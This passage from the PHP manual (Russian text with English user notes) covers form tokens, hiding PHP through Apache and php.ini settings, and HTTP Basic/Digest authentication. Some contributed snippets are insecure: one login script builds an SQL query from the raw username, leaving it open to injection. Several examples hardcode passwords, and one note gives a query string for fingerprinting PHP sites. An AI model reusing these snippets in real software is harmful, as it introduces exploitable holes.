        //if we have a valid token check that is is valid
        $key = $_SESSION[$formname.$id];
        if($key !== $token ){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'invalid token');
            return false;
        }

        if($this->validpermission !==1){
              echo 'invalid Permissions to run this script';
              return false;
        }else{
            return true;
        }
    }

}

?>

<?php $userid = *** //make it what ever id you like ?>
<form name="newform" action="index.php" method="post">
<input type="text" name="potentialeveilfield" value="" size 30 />
<input type="hidden" name="token" value="<?php echo maketoken(newform, $userid); //$userid here could be user profile id ?>" />
<input type="submit" />
</form>

Now when processing the form... check the value of your token

<?php

//well you know the form name
if(!checktoken($_POST['token'], 'newform', $userid))
{ //failed
exit(); //or what ever termination and notification method best suits you.
//you could also design the class your way to get more accurate fail (error messages from the var)
}

//you can now continue with input data clean up (validation)

?>
Uli Kusterer 13-Sep-2005 03:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.


Сокрытие PHP

В общем случае внесение неясности ненамного улучшает защищённость системы. Но бывают случаи, когда следует использовать малейшую возможность.

Несколько несложных методик могут помочь вам скрыть PHP, что усложняет работу потенциального взломщика, который пытается найти брешь в вашей системе. Установив опцию expose_php в off в конфигурационном файле php.ini, вы уменьшите количество доступной хакеру информации.

Ещё одна методика заключается в настройке веб-сервера таким образом, чтобы он обрабатывал файлы с различными расширениями как PHP-скрипты. Это можно указать как в .htaccess файлах, так и конфигурационном файле Apache. В таком случае вы сможете использовать при написании кода нестандартные расширения:

Пример #1 Маскировка PHP под другие языки программирования

# Теперь PHP-скрипты могут иметь те же расширения, что и другие языки программирования
AddType application/x-httpd-php .asp .py .pl
Или скрыть его совсем:

Пример #2 Использование неизвестных расширений для PHP-скриптов

# Теперь PHP-скрипты могут иметь неизвестные типы файлов
AddType application/x-httpd-php .bop .foo .133t
Также можно спрятать его под видом HTML-кода, что приведёт к потере производительности, так как все HTML-файлы будут обрабатываться PHP:

Пример #3 Маскировка PHP-файлов под HTML

# Теперь PHP-скрипты выглядят как обыкновенный HTML
AddType application/x-httpd-php .htm .html
Чтобы достичь желаемого эффекта, вы должны переименовать все ваши PHP-скрипты в соответствии с выбранным вами расширением. Описанное в этом разделе документации повышение безопасности через сокрытие является небольшой превентивной мерой при малых затратах.

User Contributed Notes

Sajith Karunatilake @ 26-Jan-2023 09:24
Just hiding it doesn't look like good "security" if the code itself is flawed. At the end of the day the code has to run regardless of its file extension. There could be some advantages to this. But it does not prevent someone (who is not a script-kiddie or some kind of automated bot) from exploiting the flaws in the code.

Just a thought.

Just leaving this comment to prevent a beginner from using this as a legitimate security measure (assuming they read documentation). Cool feature though.
omolewastephen at gmail dot com 04-Jan-2018 10:03
I used this on my site and it works great for me

# RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
# RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
# RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
info at frinteractives dot com 02-Jul-2015 10:42
try this
RewriteEngine On

# Unless directory, remove trailing slash
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^/]+)/$ http://example.com/folder/$1 [R=301,L]

# Redirect external .php requests to extensionless url
RewriteCond %{THE_REQUEST} ^(.+)\.php([#?][^\ ]*)?\ HTTP/
RewriteRule ^(.+)\.php$ http://example.com/folder/$1 [R=301,L]

# Resolve .php file for extensionless php urls
RewriteRule ^([^/.]+)$ $1.php [L]
anon at example dot com 23-Dec-2013 10:48
The session name defaults to PHPSESSID.  This is used as the name of the session cookie that is sent to the user's web browser / client. (Example: PHPSESSID=kqjqper294faui343o98ts8k77).

To hide this, call session_name() with the $name parameter set to a generic name, before calling session_start().  Example:

session_name("id");
session_start();

Cheers.
Ryan 30-Oct-2011 06:22
Another way to hide php is by removing the extension completely, like so:

Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ /$1.php [L,QSA]

Hope this helps!
CD001 21-Jul-2010 09:03
It's a good idea to "hide" PHP anyway so you can write a RESTful web application.

Using Apache Mod Rewrite:

RewriteEngine On
RewriteRule ^control/([^/]+)/(.*)$ sitecontroller.php?control=$1&query=$2

You then use a function like the following as a way to retrieve data (in a zero indexed fashion) from the $_GET superglobal.

<?php
function myGET() {
  $aGet = array();

  if(isset($_GET['query'])) {
    $aGet = explode('/', $_GET['query']);
  }

  return $aGet;
}
?>

This is only a really basic example of course - you can do a lot with Mod Rewrite and a custom 'GET' function.
sandaimespaceman at gmail dot com 26-Oct-2008 04:51
Set INI directive "expose_php" to "off" will also help.
You can spoof your PHP to ASP.NET by using:
<?php
error_reporting(0);
header("X-Powered-By: ASP.NET");
?>
Pyornide 10-Oct-2008 05:57
The idea of hiding the X-Powered-By in PHP is a flawed attempt at establishing security. As the manual indicates, obscurity is not security. If I were exploiting a site, I wouldn't check what scripting language the site runs on, because all that would matter to me is exploiting it. Hiding the fact that you use [x] language isn't going to prevent me from bypassing poor security.
Raz 24-Sep-2007 03:07
May some servers not allow you to put this line (i.e this not work)

AddType application/x-httpd-php .asp .py .pl
or
DefaultType application/x-httpd-php

so, the alternative method that really a good one is:

1- In your .htaccess file write:

RewriteEngine  on
RewriteBase  /dire/ or just /
RewriteRule  securename   yourfile\.php  [T=application/x-httpd-php]

example: all url like
www.example.com/securename  parsed as
www.example.com/yourfile.php

2- but here the $_GET not work, but $_POST work, so for dynamic pages like
www.example.com/yourfile.php?page=1 you use
www.example.com/securename?page=1

now: instead of using $_GET use
<?php
$uri         = $_SERVER['REQUEST_URI'];
$page        = strstr($uri, '=');
$page        = substr($page, 1);
$valid_pages = array('1', '2','...');
$page        = in_array($page, $valid_pages) ? $page : '1';
//....
?>

and for bad URL you can add this code to .htaccess file
of coarse below the first code in .htaccess
#--
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ http://www.example.com/securename [L]
rustamabd at google mail 26-Jan-2007 12:05
So far I haven't seen a working rewriter of /foo/bar into /foo/bar.php, so I created my own. It does work in top-level directory AND subdirectories and it doesn't need hardcoding the RewriteBase.

.htaccess:

RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
simon at carbontwelevedesign dot co dot uk 10-Aug-2006 05:31
I use the following in the .htaccess document

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

then the following simple code

<?php

$permalinks = explode("/",$_SERVER['REQUEST_URI']);

$varone = $permalinks[1];
$vartwo = $permalinks[2];

...

?>
marpetr at NOSPAM dot gmail dot com 11-Apr-2006 05:18
I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
jtw90210 30-Jun-2005 01:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://example.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
benjamin at sonntag dot fr 24-May-2005 09:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
php at vfmedia dot de 15-Jun-2004 06:21
I?ve found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 08:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net 10-Apr-2004 06:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj 14-Mar-2004 05:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
ldemailly at qualysNOSPAM dot com 27-Oct-2003 08:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com 21-Jul-2003 04:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

<?php
substr($_SERVER['PATH_INFO'],1);
?>

e.g. www.example.com/somepage/55

And:

<?php
foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
    list($key,$value) = split('=',$pair,2);
    $param[$key] = stripslashes($value);
}
?>

e.g. www.example.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM 27-Mar-2003 08:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
    www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
    RewriteEngine on
    RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
    AddType application/x-httpd-php .php3 .php .html
29-Jan-2003 10:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.example.com/home

would still be processed by the home script in our doc root, but for:

http://www.example.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
    DocumentRoot /web/doc_root
    Alias /home "/web/doc_root/home.php"
    AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
sth at panix dot com 04-Aug-2002 12:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com 22-Jul-2002 05:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com 26-Jan-2002 03:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com 30-Dec-2001 09:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.


Необходимость обновлений

PHP, как и любая другая большая система, постоянно проверяется и улучшается. Каждая новая версия содержит множество как существенных, так и мелких изменений, которые, в том числе, касаются повышения безопасности, расширения конфигурационных возможностей, а также стабильности вашей системы.

Как и в других программах и языках программирования, рекомендуется регулярно обновлять PHP и быть в курсе изменений, сделанных в последних версиях.

User Contributed Notes

There are no user contributed notes for this page.


Отличительные особенности

  • HTTP-аутентификация в PHP
  • Cookies
  • Сессии
  • Работа с XForms
  • Загрузка файлов на сервер
    • Загрузка файлов методом POST
    • Объяснение сообщений об ошибках
    • Наиболее распространённые ошибки
    • Загрузка нескольких файлов
    • Поддержка метода PUT
    • Смотрите также
  • Работа с удалёнными файлами
  • Работа с соединениями
  • Постоянные соединения с базами данных
  • Использование PHP в командной строке
    • Введение
    • Основные отличия от остальных реализаций SAPI
    • Опции — Список опций командной строки
    • Использование — Выполнение PHP-файлов
    • Потоки ввода/вывода
    • Интерактивная консоль
    • Встроенный веб-сервер
    • Опции конфигурации
  • Сборка мусора
    • Основы подсчёта ссылок
    • Сбор циклических ссылок
    • Вопросы производительности
  • Динамическая трассировка DTrace
    • Введение в PHP и DTrace
    • Использование PHP и DTrace
    • Использование SystemTap со статическими зондами PHP DTrace

User Contributed Notes

There are no user contributed notes for this page.


HTTP-аутентификация в PHP

Возможно использовать функцию header() для отправки сообщения "Authentication Required" браузеру, заставив его показать окошко для ввода логина и пароля. Как только пользователь заполнит логин и пароль, ссылка, содержащая PHP-скрипт будет вызвана ещё раз с предопределёнными переменными PHP_AUTH_USER, PHP_AUTH_PW и AUTH_TYPE, установленными в логин, пароль и тип аутентификации соответственно. Эти предопределённые переменные хранятся в массиве $_SERVER. Поддерживаются только: "Basic" и "Digest". Подробнее смотрите функцию header().

Пример фрагмента скрипта, который вынуждает клиента авторизоваться для просмотра страницы:

Пример #1 Пример Basic HTTP-аутентификации

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Текст, отправляемый в том случае,
если пользователь нажал кнопку Cancel';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>Вы ввели пароль {$_SERVER['PHP_AUTH_PW']}.</p>";
}
?>

Пример #2 Пример Digest HTTP-аутентификации

Это пример реализации простого скрипта Digest HTTP-аутентификации. За подробностями обращайтесь к » RFC 2617.

<?php
$realm = 'Запретная зона';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Текст, отправляемый в том случае, если пользователь нажал кнопку Cancel');
}

// анализируем переменную PHP_AUTH_DIGEST
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Неправильные данные!');

// генерируем корректный ответ
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Неправильные данные!');

// все хорошо, логин и пароль верны
echo 'Вы вошли как: ' . $data['username'];

// функция разбора заголовка http auth
function http_digest_parse($txt)
{
// защита от отсутствующих данных
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Замечание: Замечание касательно совместимости

Будьте особенно внимательны при указании HTTP-заголовков. Для того, чтобы гарантировать максимальную совместимость с наибольшим количеством различных клиентов, слово "Basic" должно быть написано с большой буквы "B", регион (realm) должен быть взят в двойные (не одинарные!) кавычки, и ровно один пробел должен предшествовать коду 401 в заголовке HTTP/1.0 401. Параметры аутентификации должны разделяться запятыми, как это было показано в примере Digest аутентификации выше.

Вместо простого отображения на экране переменных PHP_AUTH_USER и PHP_AUTH_PW, вам, возможно, понадобится проверить их корректность. Используйте для этого запрос к базе данных или поиск пользователя в dbm-файле.

Вы можете пронаблюдать особенности работы браузера Internet Explorer. Он очень требователен к параметру передаваемых заголовков. Трюк с указанием заголовка WWW-Authenticate перед отправкой статуса HTTP/1.0 401 пока что работает для него.

Замечание: Замечание касательно конфигурации

PHP использует указание директивы AuthType для указания того, используется внешняя аутентификация или нет.

Следует заметить, что все вышесказанное не предотвращает похищения паролей к страницам, требующим авторизацию, кем-либо, кто контролирует страницы без авторизации, расположенные на том же сервере.

И Netscape Navigator и Internet Explorer очищают кеш аутентификации текущего окна для заданного региона (realm) при получении от сервера статуса 401. Это может использоваться для реализации принудительного выхода пользователя и повторного отображения диалогового окна для ввода имени пользователя и пароля. Некоторые разработчики используют это для ограничения авторизации по времени или для предоставления кнопки "Выход".

Пример #3 Пример HTTP-аутентификации с принудительным вводом новой пары логин/пароль

<?php
function authenticate() {
header('WWW-Authenticate: Basic realm="Test Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "Вы должны ввести корректный логин и пароль для получения доступа к ресурсу \n";
exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
authenticate();
} else {
echo "<p>Добро пожаловать: " . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "<br />";
echo "Предыдущий логин: " . htmlspecialchars($_REQUEST['OldAuth']);
echo "<form action='' method='post'>\n";
echo "<input type='hidden' name='SeenBefore' value='1' />\n";
echo "<input type='hidden' name='OldAuth' value=\"" . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "\" />\n";
echo "<input type='submit' value='Авторизоваться повторно' />\n";
echo "</form></p>\n";
}
?>

Это поведение не регламентируется стандартами HTTP Basic-аутентификации, следовательно, вы не должны зависеть от этого. Тестирование браузера Lynx показало, что Lynx не очищает кеш авторизации при получении от сервера статуса 401, и, нажав последовательно "Back", а затем "Forward" возможно открыть такую страницу, при условии, что требуемые атрибуты авторизации не изменились. Однако, пользователь может нажать клавишу '_' для очистки кеша аутентификации.

Для того, чтобы добиться корректной работы HTTP-аутентификации в IIS сервере с CGI версией PHP, вы должны отредактировать конфигурационную настройку IIS под названием "Directory Security". Щёлкните на надписи "Edit" и установите опцию "Anonymous Access", все остальные поля должны остаться неотмеченными.

Замечание: Замечание касательно IIS:
Для того, чтобы HTTP-аутентификация корректно работала в IIS, в конфигурации PHP-опция cgi.rfc2616_headers должна быть установлена значением 0 (значение по умолчанию).

User Contributed Notes

spam at angstzustaen dot de 16-May-2021 05:35
public function loginUser(){
        $username = filter_var($_GET['username'],FILTER_SANITIZE_STRING);
        $pw = filter_var($_GET['pw'],FILTER_SANITIZE_STRING);
        $row = $this->userModel->selectUser($username);

       if (password_verify($pw,$row['pw'])){
           $_SESSION["userId"] = $row['id'];

           $this->isLogin();
       } else{
           new Msg(true,"Benutzername und Passwort stimmen nicht uberein!");
       }

    }

A short example for an user Login
bitman at bitworks dot de 22-Apr-2021 12:14
the alternative text should contain the complete text af a (small) valid HTML-Ressource.  It also can contain link relations to CSS.
patrick dot moire at socopa dot fr 17-Jun-2020 12:12
Samples Login / Logout script

login.php :

<?php

    // Initisalition
    if ($_COOKIE["SESSION"]=='') {
        setcookie("SESSION", 'AUTH', 0,'/');

    // Identification perdu (time-out ou logoff)
    } else if ($_SERVER['PHP_AUTH_USER']!='' && $_COOKIE["USER_SESSION"]=='') {
        $_SERVER['PHP_AUTH_USER'] = '';
    }

    // Controle identification a la base
    $ident = executeSQL("SELECT * FROM UTILISATEURS WHERE upper(IDENTIFIANT)=Upper('".$_SERVER['PHP_AUTH_USER']."')");
    if ($_SERVER['PHP_AUTH_USER']!='' && strtoupper($ident['IDENTIFIANT'])==strtoupper($_SERVER['PHP_AUTH_USER']) && $ident['MOT_DE_PASSE']==$_SERVER['PHP_AUTH_PW']) {
        $user = $_SERVER['PHP_AUTH_USER'];
        setcookie("USER_SESSION", $user, time()+300,'/'); // 5 Minutes !

    // Mot de passe incorecte : demande identification
    } else {
        setcookie("SESSION", '', 1,'/');
        header('WWW-Authenticate: Basic realm="My Realm"');
        header('HTTP/1.0 401 Unauthorized');
        die;
    }

?>
<html>
    <body >

        Bonjour <?php echo $ident['NOM'].' '.$ident['PRENOM']; ?>
        <br>
        <br>
        <a href="http://logout.php">Deconnexion</a>
    </body>
</html>

logout.php :

<?php
setcookie("USER_SESSION", '', 1,'/');
header('Location: http://login.php');
?>
Carlos 22-Nov-2017 10:44
Simpler WorkAround for missing Authorization header under CGI/FastCGI available in Apache HTTP Server 2.4.13 and later

     CGIPassAuth On

Please don't enable Authorization header with Basic Authentication, is very insecure.
john_2232 at gmail dot com 22-Nov-2015 07:05
Here is my attempt to create a digest authentication class that will log the user in and out without using a cookie,session,db,or file. At the core is this simple code to parse the digest string into variables works for several browsers.
<?php
// explode the digest with multibrowser support by Tony Wyatt 21jun07
public function explodethedigest($instring) {
$quote = '"';
$equal = '=';
$comma = ',';
$space = ' ';
$a = explode( $comma, $instring);
$ax = explode($space, $a[0]);
$b = explode( $equal, $ax[1], 2);
$c = explode( $equal, $a[1], 2);
$d = explode( $equal, $a[2], 2);
$e = explode( $equal, $a[3], 2);
$f = explode( $equal, $a[4], 2);
$g = explode( $equal, $a[5], 2);
$h = explode( $equal, $a[6], 2);
$i = explode( $equal, $a[7], 2);
$j = explode( $equal, $a[8], 2);
$k = explode( $equal, $a[9], 2);
$l = explode( $equal, $a[10], 2);
$parts = array(trim($b[0])=>trim($b[1], '"'), trim($c[0])=>trim($c[1], '"'), trim($d[0])=>trim($d[1], '"'), trim($e[0])=>trim($e[1], '"'), trim($f[0])=>trim($f[1], '"'), trim($g[0])=>trim($g[1], '"'), trim($h[0])=>trim($h[1], '"'), trim($i[0])=>trim($i[1], '"'), trim($j[0])=>trim($j[1], '"'), trim($k[0])=>trim($k[1], '"'), trim($l[0])=>trim($l[1], '"'));

return $parts;
}
?>
Give it a try at http://www.creativetheory.ca/ /tests/ta1.php Log in with user test password pass or user guest password guest. Go to page two for links to the code. Comments, ideas, suggestions, or critique welcome.
dan223 at gmail dot com 01-Oct-2015 10:45
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
    if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
        authenticate(); // Send basic authentication headers
    }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

    if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
        authenticate(); // Send basic authentication headers because username and/or password didnot match
    }
}

phpinfo();

// Call authentication display
function authenticate() {
    Header("WWW-Authenticate: Basic realm=Website");
        Header("HTTP/1.0 401 Unauthorized");
        error401();
        exit;
}
?>

See my website (http://velocitypress.ca/index.php?page=/manuals/) for more details on client certificate with Apache and PHP.
jake22 at gmail dot com 01-Oct-2015 10:42
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://velocitypress.ca/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.
sergio dot carvalho at gmail dot com 07-Jun-2015 04:01
The only effective way I've found to wipe out the PHP_AUTH_DIGEST or PHP_AUTH_USER AND PHP_AUTH_PW credentials is to call the header HTTP/1.1 401 Unauthorized.

function clear_admin_access(){
    header('HTTP/1.1 401 Unauthorized');
    die('Admin access turned off');
}
derkontrollfreak+9hy5l at gmail dot com 19-Apr-2014 03:55
Workaround for missing Authorization header under CGI/FastCGI Apache:

SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0

Now PHP should automatically declare $_SERVER[PHP_AUTH_*] variables if the client sends the Authorization header.
Robb_Bean at gmx dot net 09-Jan-2014 04:55
In the german example #2 (digest), the <?php $realm = "Geschutzter Bereich"; ?>. As far as I have tested the umlaut u is problematic, resulting in an password enter infinity loop. In my case it was written in UTF-8. So I suggest using only plain ASCII characters for the realm.
xsanychx at mail dot ru 02-Oct-2012 09:32
New auth:

<?php
$login = 'test_login';
$pass = 'test_pass';

if(($_SERVER['PHP_AUTH_PW']!= $pass || $_SERVER['PHP_AUTH_USER'] != $login)|| !$_SERVER['PHP_AUTH_USER'])
{
    header('WWW-Authenticate: Basic realm="Test auth"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Auth failed';
    exit;
}
?>
kazakevichilya at gmail dot com 30-Mar-2012 08:20
In case of CGI/FastCGI you would hot be able to access PHP_AUTH* info because CGI protocol does not declare such variables (that is why their names start from PHP) and server would not pass them to the interpreter. In CGI server should authenticate user itself and pass REMOTE_USER to CGI script after it.

So you need to "fetch" request headers and pass them to your script somehow.

In apache you can do it via environment variables if mod_env is installed.

Following construction in .htaccess copies request header "Authorization" to the env variable PHP_AUTH_DIGEST_RAW

SetEnvIfNoCase ^Authorization$ "(.+)" PHP_AUTH_DIGEST_RAW=$1

You can now access it via $_ENV.

Do not forget to strip auth type ("Digest" in my case) from your env variable because PHP_AUTH_DIGEST does not have it.

If mod_env is not installed you probably have mod_rewrite (everyone has it because of "human readable URLs").

You can fetch header and pass it as GET parameter using rewrite rule:

RewriteRule ^.*$ site.php?PHP_AUTH_DIGEST_RAW=%{HTTP:Authorization} [NC,L]

Here HTTP request header Authorization would be acessible as PHP_AUTH_DIGEST_RAW via $_GET.

---
If you use ZF you probably use Zend_Auth_Adapter_Http to auth user.

It takes Authorization info using "Zend_Controller_Request::getHeader"
This method uses apache_request_header which is likely not to be accessible in old CGI/FastCGI installations or _$_SERVER['HTTP_<HeaderName>] , so you need to put your authentication data, obtained via _GET or ENV to
_$_SERVER['HTTP_AUTHORIZATION'].
It will make ZF work transparently with you solution and I believe any other framework should work also
vog at notjusthosting dot com 23-Feb-2012 11:54
You shouldn't use the "last" ("L") directive in the RewriteRule! This will prevent all further rewrite rules to be skipped whenever a Basic or Digest Auth is given, which is almost certainly not what you want.

So the following lines are sufficient for the .htaccess (or httpd.conf) file:

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
h3ndrik 24-Oct-2011 05:32
On my configuration with php-cgi - after setting the RewriteRule - the correct variable would be: $_SERVER['REDIRECT_HTTP_AUTHORIZATION']

So the workaround for PhpCGI is:
Set in your .htaccess:

RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization},last]

Php workaround:
<?php
//set http auth headers for apache+php-cgi work around
if (isset($_SERVER['HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
